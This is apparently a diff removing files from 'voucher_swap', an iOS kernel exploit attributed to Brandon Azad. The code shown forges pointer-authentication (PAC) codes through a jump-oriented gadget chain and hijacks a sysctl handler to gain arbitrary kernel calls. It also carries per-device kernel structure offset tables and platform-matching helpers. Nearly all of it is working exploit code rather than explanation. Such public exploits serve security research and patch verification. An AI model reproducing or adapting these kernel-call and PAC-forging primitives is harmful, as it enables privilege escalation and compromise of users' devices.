// be exactly correct, since it PACIZA'd an AUTIA'd pointer we didn't sign. But we can use
|
||||
// this value to reconstruct the correct PACIZA'd pointer.
|
||||
uint64_t handler = kernel_read64(
|
||||
ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_handler));
|
||||
paciza__mov_x0_x4__br_x5 = handler ^ (1uLL << (63 - 1));
|
||||
DEBUG_TRACE(1, "PACIZA(%s) = 0x%016llx", "'mov x0, x4 ; br x5'", paciza__mov_x0_x4__br_x5);
|
||||
|
||||
// Now write back the original sysctl_oid and call sysctl_unregister_oid() to clean it up.
|
||||
kernel_write(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid));
|
||||
ret = stage1_kernel_call_7(
|
||||
paciza__mov_x0_x4__br_x5, // PC
|
||||
0, 0, 0, // X1 - X3
|
||||
ADDRESS(sysctl__net_ppp_l2tp), // X4
|
||||
ADDRESS(sysctl_unregister_oid), // X5
|
||||
0); // X6
|
||||
DEBUG_TRACE(2, "%s(%016llx) = 0x%08x", "sysctl_unregister_oid",
|
||||
ADDRESS(sysctl__net_ppp_l2tp), ret);
|
||||
|
||||
// And finally call l2tp_domain_module_start() to re-initialize the module.
|
||||
ret = stage1_kernel_call_7(
|
||||
paciza__l2tp_domain_module_start, // PC
|
||||
0, 0, 0, 0, 0, 0); // X1 - X6
|
||||
DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d",
|
||||
"l2tp_domain_module_start", ret,
|
||||
kernel_read32(ADDRESS(l2tp_domain_inited)));
|
||||
|
||||
// Alright, so now we have an arbitrary call gadget!
|
||||
kernel_pacxa_buffer = stage1_get_kernel_buffer();
|
||||
}
|
||||
|
||||
// ---- Stage 2 -----------------------------------------------------------------------------------
|
||||
|
||||
/*
|
||||
* stage2_kernel_forge_pacxa
|
||||
*
|
||||
* Description:
|
||||
* Forge a PACIA or PACDA pointer using the kernel forging gadgets.
|
||||
*/
|
||||
static uint64_t
|
||||
stage2_kernel_forge_pacxa(uint64_t address, uint64_t context, bool instruction) {
|
||||
const size_t pacxa_buffer_size = SIZE(kernel_forge_pacxa_gadget_buffer);
|
||||
const size_t pacxa_buffer_offset = OFFSET(kernel_forge_pacxa_gadget_buffer, first_access);
|
||||
// Initialize the kernel_pacxa_buffer to be all zeros.
|
||||
uint8_t pacxa_buffer[pacxa_buffer_size - pacxa_buffer_offset];
|
||||
memset(pacxa_buffer, 0, sizeof(pacxa_buffer));
|
||||
kernel_write(kernel_pacxa_buffer, pacxa_buffer, sizeof(pacxa_buffer));
|
||||
// The buffer address we pass to the gadget is offset from the part of that we initialize
|
||||
// (to save us some space). The result is stored at different offsets in the buffer
|
||||
// depending on whether the operation is PACIA or PACDA.
|
||||
uint64_t buffer_address = kernel_pacxa_buffer - pacxa_buffer_offset;
|
||||
uint64_t result_address = buffer_address;
|
||||
uint64_t pacxa_gadget;
|
||||
if (instruction) {
|
||||
result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result);
|
||||
pacxa_gadget = ADDRESS(kernel_forge_pacia_gadget);
|
||||
} else {
|
||||
result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result);
|
||||
pacxa_gadget = ADDRESS(kernel_forge_pacda_gadget);
|
||||
}
|
||||
// We need to set:
|
||||
//
|
||||
// x2 = buffer_address
|
||||
// x9 = address
|
||||
// x10 = context
|
||||
//
|
||||
// In order to do that we'll execute the following JOP sequence before jumping to the
|
||||
// gadget:
|
||||
//
|
||||
// mov x0, x4 ; br x5
|
||||
// mov x9, x0 ; br x1
|
||||
// mov x10, x3 ; br x6
|
||||
//
|
||||
__unused uint32_t ret;
|
||||
ret = stage1_kernel_call_7(
|
||||
paciza__mov_x0_x4__br_x5, // PC
|
||||
ADDRESS(mov_x10_x3__br_x6), // X1
|
||||
buffer_address, // X2
|
||||
context, // X3
|
||||
address, // X4
|
||||
ADDRESS(mov_x9_x0__br_x1), // X5
|
||||
pacxa_gadget); // X6
|
||||
DEBUG_TRACE(2, "%s_GADGET(): 0x%08x", (instruction ? "PACIA" : "PACDA"), ret);
|
||||
// Now recover the PACXA'd value.
|
||||
uint64_t pacxa = kernel_read64(result_address);
|
||||
return pacxa;
|
||||
}
|
||||
|
||||
/*
|
||||
* xpaci
|
||||
*
|
||||
* Description:
|
||||
* Strip a PACIx code from a pointer.
|
||||
*/
|
||||
static uint64_t
|
||||
xpaci(uint64_t pointer) {
|
||||
asm("xpaci %[value]\n" : [value] "+r"(pointer));
|
||||
return pointer;
|
||||
}
|
||||
|
||||
/*
|
||||
* xpacd
|
||||
*
|
||||
* Description:
|
||||
* Strip a PACDx code from a pointer.
|
||||
*/
|
||||
static uint64_t
|
||||
xpacd(uint64_t pointer) {
|
||||
asm("xpacd %[value]\n" : [value] "+r"(pointer));
|
||||
return pointer;
|
||||
}
|
||||
|
||||
#endif // __arm64e__
|
||||
|
||||
// ---- API ---------------------------------------------------------------------------------------
|
||||
|
||||
bool
|
||||
stage2_kernel_call_init() {
|
||||
#if __arm64e__
|
||||
stage1_init_kernel_pacxa_forging();
|
||||
#endif
|
||||
return true;
|
||||
}
|
||||
|
||||
void
|
||||
stage2_kernel_call_deinit() {
|
||||
}
|
||||
|
||||
uint32_t
|
||||
stage2_kernel_call_7v(uint64_t function,
|
||||
size_t argument_count, const uint64_t arguments[]) {
|
||||
uint64_t paciza_function = kernel_forge_pacia(function, 0);
|
||||
return stage1_kernel_call_7v(paciza_function, argument_count, arguments);
|
||||
}
|
||||
|
||||
uint64_t
|
||||
kernel_forge_pacia(uint64_t pointer, uint64_t context) {
|
||||
#if __arm64e__
|
||||
return stage2_kernel_forge_pacxa(pointer, context, true);
|
||||
#else
|
||||
return pointer;
|
||||
#endif
|
||||
}
|
||||
|
||||
uint64_t
|
||||
kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type) {
|
||||
uint64_t context = ((uint64_t) type << 48) | (address & 0x0000ffffffffffff);
|
||||
return kernel_forge_pacia(pointer, context);
|
||||
}
|
||||
|
||||
uint64_t
|
||||
kernel_forge_pacda(uint64_t pointer, uint64_t context) {
|
||||
#if __arm64e__
|
||||
return stage2_kernel_forge_pacxa(pointer, context, false);
|
||||
#else
|
||||
return pointer;
|
||||
#endif
|
||||
}
|
||||
|
||||
uint64_t
|
||||
kernel_xpaci(uint64_t pointer) {
|
||||
#if __arm64e__
|
||||
return xpaci(pointer);
|
||||
#else
|
||||
return pointer;
|
||||
#endif
|
||||
}
|
||||
|
||||
uint64_t
|
||||
kernel_xpacd(uint64_t pointer) {
|
||||
#if __arm64e__
|
||||
return xpacd(pointer);
|
||||
#else
|
||||
return pointer;
|
||||
#endif
|
||||
}
|
||||
@@ -1,48 +0,0 @@
|
||||
/*
|
||||
* kernel_call/pac.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__KERNEL_CALL__PAC_H_
|
||||
#define VOUCHER_SWAP__KERNEL_CALL__PAC_H_
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
/*
|
||||
* stage2_kernel_call_init
|
||||
*
|
||||
* Description:
|
||||
* Initialize stage 2 of kernel function calling.
|
||||
*
|
||||
* Initializes:
|
||||
* stage2_kernel_call_7v()
|
||||
* kernel_forge_pacia()
|
||||
* kernel_forge_pacia_with_type()
|
||||
* kernel_forge_pacda()
|
||||
*/
|
||||
bool stage2_kernel_call_init(void);
|
||||
|
||||
/*
|
||||
* stage2_kernel_call_deinit
|
||||
*
|
||||
* Description:
|
||||
* Deinitialize stage 2 of kernel function calling.
|
||||
*/
|
||||
void stage2_kernel_call_deinit(void);
|
||||
|
||||
/*
|
||||
* stage2_kernel_call_7v
|
||||
*
|
||||
* Description:
|
||||
* Call a kernel function using our stage 2 execute primitive.
|
||||
*
|
||||
* Restrictions:
|
||||
* At most 7 arguments can be passed.
|
||||
* The return value is truncated to 32 bits.
|
||||
* At stage 2, only arguments X1 - X6 are controlled.
|
||||
*/
|
||||
uint32_t stage2_kernel_call_7v(uint64_t function,
|
||||
size_t argument_count, const uint64_t arguments[]);
|
||||
|
||||
#endif
|
||||
@@ -1,208 +0,0 @@
|
||||
/*
|
||||
* parameters.c
|
||||
* Brandon Azad
|
||||
*/
|
||||
#define PARAMETERS_EXTERN
|
||||
#include "parameters.h"
|
||||
|
||||
#include <assert.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#include "log.h"
|
||||
#include "platform.h"
|
||||
#include "platform_match.h"
|
||||
|
||||
// ---- Initialization routines -------------------------------------------------------------------
|
||||
|
||||
// A struct describing an initialization.
|
||||
struct initialization {
|
||||
const char *devices;
|
||||
const char *builds;
|
||||
void (*init)(void);
|
||||
};
|
||||
|
||||
// Run initializations matching this platform.
|
||||
static size_t
|
||||
run_initializations(struct initialization *inits, size_t count) {
|
||||
size_t match_count = 0;
|
||||
for (size_t i = 0; i < count; i++) {
|
||||
struct initialization *init = &inits[i];
|
||||
if (platform_matches(init->devices, init->builds)) {
|
||||
init->init();
|
||||
match_count++;
|
||||
}
|
||||
}
|
||||
return match_count;
|
||||
}
|
||||
|
||||
// A helper macro to get the number of elements in a static array.
|
||||
#define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
// ---- General system parameters -----------------------------------------------------------------
|
||||
|
||||
// Initialization for general system parameters.
|
||||
static void
|
||||
init__system_parameters() {
|
||||
STATIC_ADDRESS(kernel_base) = 0xFFFFFFF007004000;
|
||||
kernel_slide_step = 0x200000;
|
||||
message_size_for_kmsg_zone = 76;
|
||||
kmsg_zone_size = 256;
|
||||
max_ool_ports_per_message = 16382;
|
||||
gc_step = 2 * MB;
|
||||
}
|
||||
|
||||
// A list of general system parameter initializations by platform.
|
||||
static struct initialization system_parameters[] = {
|
||||
{ "*", "*", init__system_parameters },
|
||||
};
|
||||
|
||||
// ---- Offset initialization ---------------------------------------------------------------------
|
||||
|
||||
// Initialization for iPhone11,8 16C50 (and similar devices).
|
||||
static void
|
||||
offsets__iphone11_8__16C50() {
|
||||
SIZE(ipc_entry) = 0x18;
|
||||
OFFSET(ipc_entry, ie_object) = 0;
|
||||
OFFSET(ipc_entry, ie_bits) = 8;
|
||||
OFFSET(ipc_entry, ie_request) = 16;
|
||||
|
||||
SIZE(ipc_port) = 0xa8;
|
||||
BLOCK_SIZE(ipc_port) = 0x4000;
|
||||
OFFSET(ipc_port, ip_bits) = 0;
|
||||
OFFSET(ipc_port, ip_references) = 4;
|
||||
OFFSET(ipc_port, waitq_flags) = 24;
|
||||
OFFSET(ipc_port, imq_messages) = 64;
|
||||
OFFSET(ipc_port, imq_msgcount) = 80;
|
||||
OFFSET(ipc_port, imq_qlimit) = 82;
|
||||
OFFSET(ipc_port, ip_receiver) = 96;
|
||||
OFFSET(ipc_port, ip_kobject) = 104;
|
||||
OFFSET(ipc_port, ip_nsrequest) = 112;
|
||||
OFFSET(ipc_port, ip_requests) = 128;
|
||||
OFFSET(ipc_port, ip_mscount) = 156;
|
||||
OFFSET(ipc_port, ip_srights) = 160;
|
||||
|
||||
SIZE(ipc_port_request) = 0x10;
|
||||
OFFSET(ipc_port_request, ipr_soright) = 0;
|
||||
|
||||
OFFSET(ipc_space, is_table_size) = 0x14;
|
||||
OFFSET(ipc_space, is_table) = 0x20;
|
||||
|
||||
SIZE(ipc_voucher) = 0x50;
|
||||
BLOCK_SIZE(ipc_voucher) = 0x4000;
|
||||
|
||||
OFFSET(proc, p_pid) = 0x60;
|
||||
OFFSET(proc, p_ucred) = 0xf8;
|
||||
|
||||
SIZE(sysctl_oid) = 0x50;
|
||||
OFFSET(sysctl_oid, oid_parent) = 0x0;
|
||||
OFFSET(sysctl_oid, oid_link) = 0x8;
|
||||
OFFSET(sysctl_oid, oid_kind) = 0x14;
|
||||
OFFSET(sysctl_oid, oid_handler) = 0x30;
|
||||
OFFSET(sysctl_oid, oid_version) = 0x48;
|
||||
OFFSET(sysctl_oid, oid_refcnt) = 0x4c;
|
||||
|
||||
OFFSET(task, lck_mtx_type) = 0xb;
|
||||
OFFSET(task, ref_count) = 0x10;
|
||||
OFFSET(task, active) = 0x14;
|
||||
OFFSET(task, map) = 0x20;
|
||||
OFFSET(task, itk_space) = 0x300;
|
||||
OFFSET(task, bsd_info) = 0x368;
|
||||
}
|
||||
|
||||
// Initialization for iPhone10,1 16B92 (and similar devices).
|
||||
static void
|
||||
offsets__iphone10_1__16B92() {
|
||||
offsets__iphone11_8__16C50();
|
||||
|
||||
OFFSET(task, bsd_info) = 0x358;
|
||||
}
|
||||
|
||||
// Initialization for iPhone10,1 16B92 (and similar devices).
|
||||
static void
|
||||
offsets__iphone9_3__15E302() {
|
||||
SIZE(ipc_entry) = 0x18;
|
||||
OFFSET(ipc_entry, ie_object) = 0;
|
||||
OFFSET(ipc_entry, ie_bits) = 8;
|
||||
OFFSET(ipc_entry, ie_request) = 16;
|
||||
|
||||
SIZE(ipc_port) = 0xa8;
|
||||
BLOCK_SIZE(ipc_port) = 0x4000;
|
||||
OFFSET(ipc_port, ip_bits) = 0;
|
||||
OFFSET(ipc_port, ip_references) = 4;
|
||||
OFFSET(ipc_port, waitq_flags) = 24;
|
||||
OFFSET(ipc_port, imq_messages) = 0x40;
|
||||
OFFSET(ipc_port, imq_msgcount) = 0x50;
|
||||
OFFSET(ipc_port, imq_qlimit) = 0x52;
|
||||
OFFSET(ipc_port, ip_receiver) = 0x60;
|
||||
OFFSET(ipc_port, ip_kobject) = 0x68;
|
||||
OFFSET(ipc_port, ip_nsrequest) = 0x70;
|
||||
OFFSET(ipc_port, ip_requests) = 0x80;
|
||||
OFFSET(ipc_port, ip_mscount) = 0x9c;
|
||||
OFFSET(ipc_port, ip_srights) = 0xa0;
|
||||
|
||||
SIZE(ipc_port_request) = 0x10;
|
||||
OFFSET(ipc_port_request, ipr_soright) = 0;
|
||||
|
||||
OFFSET(ipc_space, is_table_size) = 0x14;
|
||||
OFFSET(ipc_space, is_table) = 0x20;
|
||||
|
||||
SIZE(ipc_voucher) = 0x50;
|
||||
BLOCK_SIZE(ipc_voucher) = 0x4000;
|
||||
|
||||
OFFSET(proc, p_pid) = 0x10;
|
||||
OFFSET(proc, p_ucred) = 0x100;
|
||||
|
||||
SIZE(sysctl_oid) = 0x50;
|
||||
OFFSET(sysctl_oid, oid_parent) = 0x0;
|
||||
OFFSET(sysctl_oid, oid_link) = 0x8;
|
||||
OFFSET(sysctl_oid, oid_kind) = 0x14;
|
||||
OFFSET(sysctl_oid, oid_handler) = 0x30;
|
||||
OFFSET(sysctl_oid, oid_version) = 0x48;
|
||||
OFFSET(sysctl_oid, oid_refcnt) = 0x4c;
|
||||
|
||||
OFFSET(task, lck_mtx_type) = 0xb;
|
||||
OFFSET(task, ref_count) = 0x10;
|
||||
OFFSET(task, active) = 0x14;
|
||||
OFFSET(task, map) = 0x20;
|
||||
OFFSET(task, itk_space) = 0x308;
|
||||
OFFSET(task, bsd_info) = 0x368;
|
||||
}
|
||||
|
||||
// Initialize offset parameters whose values are computed from other parameters.
|
||||
static void
|
||||
initialize_computed_offsets() {
|
||||
COUNT_PER_BLOCK(ipc_port) = BLOCK_SIZE(ipc_port) / SIZE(ipc_port);
|
||||
COUNT_PER_BLOCK(ipc_voucher) = BLOCK_SIZE(ipc_voucher) / SIZE(ipc_voucher);
|
||||
}
|
||||
|
||||
// A list of offset initializations by platform.
|
||||
static struct initialization offsets[] = {
|
||||
{ "*", "15A5278f-15G77", offsets__iphone9_3__15E302 },
|
||||
{ "*", "16A366-16D5024a", offsets__iphone10_1__16B92 },
|
||||
{ "iPhone11,*", "16A366-16D5024a", offsets__iphone11_8__16C50 },
|
||||
{ "iPad8,*", "16A366-16D5024a", offsets__iphone11_8__16C50 },
|
||||
{ "*", "*", initialize_computed_offsets },
|
||||
};
|
||||
|
||||
// The minimum number of offsets that must match in order to declare a platform initialized.
|
||||
static const size_t min_offsets = 2;
|
||||
|
||||
// ---- Public API --------------------------------------------------------------------------------
|
||||
|
||||
bool
|
||||
parameters_init() {
|
||||
// Get general platform info.
|
||||
platform_init();
|
||||
// Initialize general system parameters.
|
||||
run_initializations(system_parameters, ARRAY_COUNT(system_parameters));
|
||||
// Initialize offsets.
|
||||
size_t count = run_initializations(offsets, ARRAY_COUNT(offsets));
|
||||
if (count < min_offsets) {
|
||||
ERROR("no offsets for %s %s", platform.machine, platform.osversion);
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
@@ -1,128 +0,0 @@
|
||||
/*
|
||||
* parameters.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__PARAMETERS_H_
|
||||
#define VOUCHER_SWAP__PARAMETERS_H_
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef PARAMETERS_EXTERN
|
||||
#define extern PARAMETERS_EXTERN
|
||||
#endif
|
||||
|
||||
// Some helpful units.
|
||||
#define KB (1024uLL)
|
||||
#define MB (1024uLL * KB)
|
||||
#define GB (1024uLL * MB)
|
||||
|
||||
// Generate the name for an offset.
|
||||
#define OFFSET(base_, object_) _##base_##__##object_##__offset_
|
||||
|
||||
// Generate the name for the size of an object.
|
||||
#define SIZE(object_) _##object_##__size_
|
||||
|
||||
// Generate the name for the size of a zalloc block of objects.
|
||||
#define BLOCK_SIZE(object_) _##object_##__block_size_
|
||||
|
||||
// Generate the name for the number of elements in a zalloc block.
|
||||
#define COUNT_PER_BLOCK(object_) _##object_##__per_block_
|
||||
|
||||
// Generate the name for the address of an object.
|
||||
#define ADDRESS(object_) _##object_##__address_
|
||||
|
||||
// Generate the name for the static (unslid) address of an object.
|
||||
#define STATIC_ADDRESS(object_) _##object_##__static_address_
|
||||
|
||||
// A convenience macro for accessing a field of a structure.
|
||||
#define FIELD(object_, struct_, field_, type_) \
|
||||
( *(type_ *) ( ((uint8_t *) object_) + OFFSET(struct_, field_) ) )
|
||||
|
||||
// The static base address of the kernel.
|
||||
extern uint64_t STATIC_ADDRESS(kernel_base);
|
||||
|
||||
// The kernel_slide granularity.
|
||||
extern uint64_t kernel_slide_step;
|
||||
|
||||
// Messages up to this size are allocated from the dedicated ipc.kmsgs zone.
|
||||
extern size_t message_size_for_kmsg_zone;
|
||||
|
||||
// The size of elements in ipc.kmsgs.
|
||||
extern size_t kmsg_zone_size;
|
||||
|
||||
// The maximum number of OOL ports in a single message.
|
||||
extern size_t max_ool_ports_per_message;
|
||||
|
||||
// How much to allocate between sleeps while trying to trigger garbage collection.
|
||||
extern size_t gc_step;
|
||||
|
||||
// Parameters for ipc_entry.
|
||||
extern size_t SIZE(ipc_entry);
|
||||
extern size_t OFFSET(ipc_entry, ie_object);
|
||||
extern size_t OFFSET(ipc_entry, ie_bits);
|
||||
extern size_t OFFSET(ipc_entry, ie_request);
|
||||
|
||||
// Parameters for ipc_port.
|
||||
extern size_t SIZE(ipc_port);
|
||||
extern size_t BLOCK_SIZE(ipc_port);
|
||||
extern size_t COUNT_PER_BLOCK(ipc_port);
|
||||
extern size_t OFFSET(ipc_port, ip_bits);
|
||||
extern size_t OFFSET(ipc_port, ip_references);
|
||||
extern size_t OFFSET(ipc_port, waitq_flags);
|
||||
extern size_t OFFSET(ipc_port, imq_messages);
|
||||
extern size_t OFFSET(ipc_port, imq_msgcount);
|
||||
extern size_t OFFSET(ipc_port, imq_qlimit);
|
||||
extern size_t OFFSET(ipc_port, ip_receiver);
|
||||
extern size_t OFFSET(ipc_port, ip_kobject);
|
||||
extern size_t OFFSET(ipc_port, ip_nsrequest);
|
||||
extern size_t OFFSET(ipc_port, ip_requests);
|
||||
extern size_t OFFSET(ipc_port, ip_mscount);
|
||||
extern size_t OFFSET(ipc_port, ip_srights);
|
||||
|
||||
// Parameters for ipc_port_request.
|
||||
extern size_t SIZE(ipc_port_request);
|
||||
extern size_t OFFSET(ipc_port_request, ipr_soright);
|
||||
|
||||
// Parameters for struct ipc_space.
|
||||
extern size_t OFFSET(ipc_space, is_table_size);
|
||||
extern size_t OFFSET(ipc_space, is_table);
|
||||
|
||||
// Parameters for ipc_voucher.
|
||||
extern size_t SIZE(ipc_voucher);
|
||||
extern size_t BLOCK_SIZE(ipc_voucher);
|
||||
extern size_t COUNT_PER_BLOCK(ipc_voucher);
|
||||
|
||||
// Parameters for struct proc.
|
||||
extern size_t OFFSET(proc, p_pid);
|
||||
extern size_t OFFSET(proc, p_ucred);
|
||||
|
||||
// Parameters for struct sysctl_oid.
|
||||
extern size_t SIZE(sysctl_oid);
|
||||
extern size_t OFFSET(sysctl_oid, oid_parent);
|
||||
extern size_t OFFSET(sysctl_oid, oid_link);
|
||||
extern size_t OFFSET(sysctl_oid, oid_kind);
|
||||
extern size_t OFFSET(sysctl_oid, oid_handler);
|
||||
extern size_t OFFSET(sysctl_oid, oid_version);
|
||||
extern size_t OFFSET(sysctl_oid, oid_refcnt);
|
||||
|
||||
// Parameters for struct task.
|
||||
extern size_t OFFSET(task, lck_mtx_type);
|
||||
extern size_t OFFSET(task, ref_count);
|
||||
extern size_t OFFSET(task, active);
|
||||
extern size_t OFFSET(task, map);
|
||||
extern size_t OFFSET(task, itk_space);
|
||||
extern size_t OFFSET(task, bsd_info);
|
||||
|
||||
/*
|
||||
* parameters_init
|
||||
*
|
||||
* Description:
|
||||
* Initialize the parameters for the system.
|
||||
*/
|
||||
bool parameters_init(void);
|
||||
|
||||
#undef extern
|
||||
|
||||
#endif
|
||||
@@ -1,54 +0,0 @@
|
||||
/*
|
||||
* platform.c
|
||||
* Brandon Azad
|
||||
*/
|
||||
#define PLATFORM_EXTERN
|
||||
#include "platform.h"
|
||||
|
||||
#include <assert.h>
|
||||
#include <mach/mach.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#include "log.h"
|
||||
|
||||
// ---- Initialization ----------------------------------------------------------------------------
|
||||
|
||||
void
|
||||
platform_init() {
|
||||
// Only initialize once.
|
||||
static bool initialized = false;
|
||||
if (initialized) {
|
||||
return;
|
||||
}
|
||||
initialized = true;
|
||||
// Set the page size.
|
||||
platform.page_size = vm_kernel_page_size;
|
||||
page_size = platform.page_size;
|
||||
// Get the machine name (e.g. iPhone11,8).
|
||||
struct utsname u = {};
|
||||
int error = uname(&u);
|
||||
assert(error == 0);
|
||||
strncpy((char *)platform.machine, u.machine, sizeof(platform.machine));
|
||||
// Get the build (e.g. 16C50).
|
||||
size_t osversion_size = sizeof(platform.osversion);
|
||||
error = sysctlbyname("kern.osversion",
|
||||
(void *)platform.osversion, &osversion_size, NULL, 0);
|
||||
assert(error == 0);
|
||||
// Get basic host info.
|
||||
mach_port_t host = mach_host_self();
|
||||
assert(MACH_PORT_VALID(host));
|
||||
host_basic_info_data_t basic_info;
|
||||
mach_msg_type_number_t count = HOST_BASIC_INFO_COUNT;
|
||||
kern_return_t kr = host_info(host, HOST_BASIC_INFO, (host_info_t) &basic_info, &count);
|
||||
assert(kr == KERN_SUCCESS);
|
||||
platform.cpu_type = basic_info.cpu_type;
|
||||
platform.cpu_subtype = basic_info.cpu_subtype;
|
||||
platform.physical_cpu = basic_info.physical_cpu;
|
||||
platform.logical_cpu = basic_info.logical_cpu;
|
||||
platform.memory_size = basic_info.max_mem;
|
||||
INFO("memory_size: %zu", platform.memory_size);
|
||||
mach_port_deallocate(mach_task_self(), host);
|
||||
// Log basic platform info.
|
||||
DEBUG_TRACE(1, "platform: %s %s", platform.machine, platform.osversion);
|
||||
}
|
||||
@@ -1,99 +0,0 @@
|
||||
/*
|
||||
* platform.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__PLATFORM_H_
|
||||
#define VOUCHER_SWAP__PLATFORM_H_
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <mach/machine.h>
|
||||
|
||||
#ifdef PLATFORM_EXTERN
|
||||
#define extern PLATFORM_EXTERN
|
||||
#endif
|
||||
|
||||
/*
|
||||
* platform
|
||||
*
|
||||
* Description:
|
||||
* Basic information about the platform.
|
||||
*/
|
||||
struct platform {
|
||||
/*
|
||||
* platform.machine
|
||||
*
|
||||
* Description:
|
||||
* The name of the platform, e.g. iPhone11,8.
|
||||
*/
|
||||
const char machine[32];
|
||||
/*
|
||||
* platform.osversion
|
||||
*
|
||||
* Description:
|
||||
* The version of the OS build, e.g. 16C50.
|
||||
*/
|
||||
const char osversion[32];
|
||||
/*
|
||||
* platform.cpu_type
|
||||
*
|
||||
* Description:
|
||||
* The platform CPU type.
|
||||
*/
|
||||
cpu_type_t cpu_type;
|
||||
/*
|
||||
* platform.cpu_subtype
|
||||
*
|
||||
* Description:
|
||||
* The platform CPU subtype.
|
||||
*/
|
||||
cpu_subtype_t cpu_subtype;
|
||||
/*
|
||||
* platform.physical_cpu
|
||||
*
|
||||
* Description:
|
||||
* The number of physical CPU cores.
|
||||
*/
|
||||
unsigned physical_cpu;
|
||||
/*
|
||||
* platform.logical_cpu
|
||||
*
|
||||
* Description:
|
||||
* The number of logical CPU cores.
|
||||
*/
|
||||
unsigned logical_cpu;
|
||||
/*
|
||||
* platform.page_size
|
||||
*
|
||||
* Description:
|
||||
* The kernel page size.
|
||||
*/
|
||||
size_t page_size;
|
||||
/*
|
||||
* platform.memory_size
|
||||
*
|
||||
* Description:
|
||||
* The size of physical memory on the device.
|
||||
*/
|
||||
size_t memory_size;
|
||||
};
|
||||
extern struct platform platform;
|
||||
|
||||
/*
|
||||
* page_size
|
||||
*
|
||||
* Description:
|
||||
* The kernel page size on this platform, made available globally for convenience.
|
||||
*/
|
||||
extern size_t page_size;
|
||||
|
||||
/*
|
||||
* platform_init
|
||||
*
|
||||
* Description:
|
||||
* Initialize the platform.
|
||||
*/
|
||||
void platform_init(void);
|
||||
|
||||
#undef extern
|
||||
|
||||
#endif
|
||||
@@ -1,346 +0,0 @@
|
||||
/*
|
||||
* platform_match.c
|
||||
* Brandon Azad
|
||||
*/
|
||||
#include "platform_match.h"
|
||||
|
||||
#include <assert.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "log.h"
|
||||
#include "platform.h"
|
||||
|
||||
// ---- Matching helper functions -----------------------------------------------------------------
|
||||
|
||||
// Advance past any spaces in a string.
|
||||
static void
|
||||
skip_spaces(const char **p) {
|
||||
const char *pch = *p;
|
||||
while (*pch == ' ') {
|
||||
pch++;
|
||||
}
|
||||
*p = pch;
|
||||
}
|
||||
|
||||
// ---- Device matching ---------------------------------------------------------------------------
|
||||
|
||||
// A wildcard device version number.
|
||||
#define ANY ((unsigned)(-1))
|
||||
|
||||
// Parse the version part of a device string.
|
||||
static bool
|
||||
parse_device_version_internal(const char *device_version, unsigned *major, unsigned *minor,
|
||||
bool allow_wildcard, const char **end) {
|
||||
const char *p = device_version;
|
||||
// Parse the major version, which might be a wildcard.
|
||||
unsigned maj = 0;
|
||||
if (allow_wildcard && *p == '*') {
|
||||
maj = ANY;
|
||||
p++;
|
||||
} else {
|
||||
for (;;) {
|
||||
char ch = *p;
|
||||
if (ch < '0' || '9' < ch) {
|
||||
break;
|
||||
}
|
||||
maj = maj * 10 + (ch - '0');
|
||||
p++;
|
||||
}
|
||||
}
|
||||
// Make sure we got the comma.
|
||||
if (*p != ',') {
|
||||
return false;
|
||||
}
|
||||
p++;
|
||||
// Parse the minor version, which might be a wildcard.
|
||||
unsigned min = 0;
|
||||
if (allow_wildcard && *p == '*') {
|
||||
min = ANY;
|
||||
p++;
|
||||
} else {
|
||||
for (;;) {
|
||||
char ch = *p;
|
||||
if (ch < '0' || '9' < ch) {
|
||||
break;
|
||||
}
|
||||
min = min * 10 + (ch - '0');
|
||||
p++;
|
||||
}
|
||||
}
|
||||
// If end is NULL, then require that we're at the end of the string. Else, return the end
|
||||
// of what we parsed.
|
||||
if (end == NULL) {
|
||||
if (*p != 0) {
|
||||
return false;
|
||||
}
|
||||
} else {
|
||||
*end = p;
|
||||
}
|
||||
// Return the values.
|
||||
*major = maj;
|
||||
*minor = min;
|
||||
return true;
|
||||
}
|
||||
|
||||
// Parse a device name.
|
||||
static bool
|
||||
parse_device_internal(const char *device, char *device_type, unsigned *major, unsigned *minor,
|
||||
bool allow_wildcard, const char **end) {
|
||||
// "iPhone11,8" -> "iPhone", 11, 8; "iPad7,*" -> "iPad", 7, ANY
|
||||
// If this device name doesn't have a comma then we don't know how to parse it. Just set
|
||||
// the whole thing as the device type.
|
||||
const char *comma = strchr(device, ',');
|
||||
if (comma == NULL) {
|
||||
unknown:
|
||||
strcpy(device_type, device);
|
||||
*major = 0;
|
||||
*minor = 0;
|
||||
return false;
|
||||
}
|
||||
// Walk backwards from the comma to the start of the major version.
|
||||
if (comma == device) {
|
||||
goto unknown;
|
||||
}
|
||||
const char *p = comma;
|
||||
for (;;) {
|
||||
char ch = *(p - 1);
|
||||
if (!(('0' <= ch && ch <= '9') || (allow_wildcard && ch == '*'))) {
|
||||
break;
|
||||
}
|
||||
p--;
|
||||
if (p == device) {
|
||||
goto unknown;
|
||||
}
|
||||
}
|
||||
if (p == comma) {
|
||||
goto unknown;
|
||||
}
|
||||
size_t device_type_length = p - device;
|
||||
// Parse the version numbers.
|
||||
bool ok = parse_device_version_internal(p, major, minor, allow_wildcard, end);
|
||||
if (!ok) {
|
||||
goto unknown;
|
||||
}
|
||||
// Return the device_type string. This is last in case it's shared with the device string.
|
||||
strncpy(device_type, device, device_type_length);
|
||||
device_type[device_type_length] = 0;
|
||||
return true;
|
||||
}
|
||||
|
||||
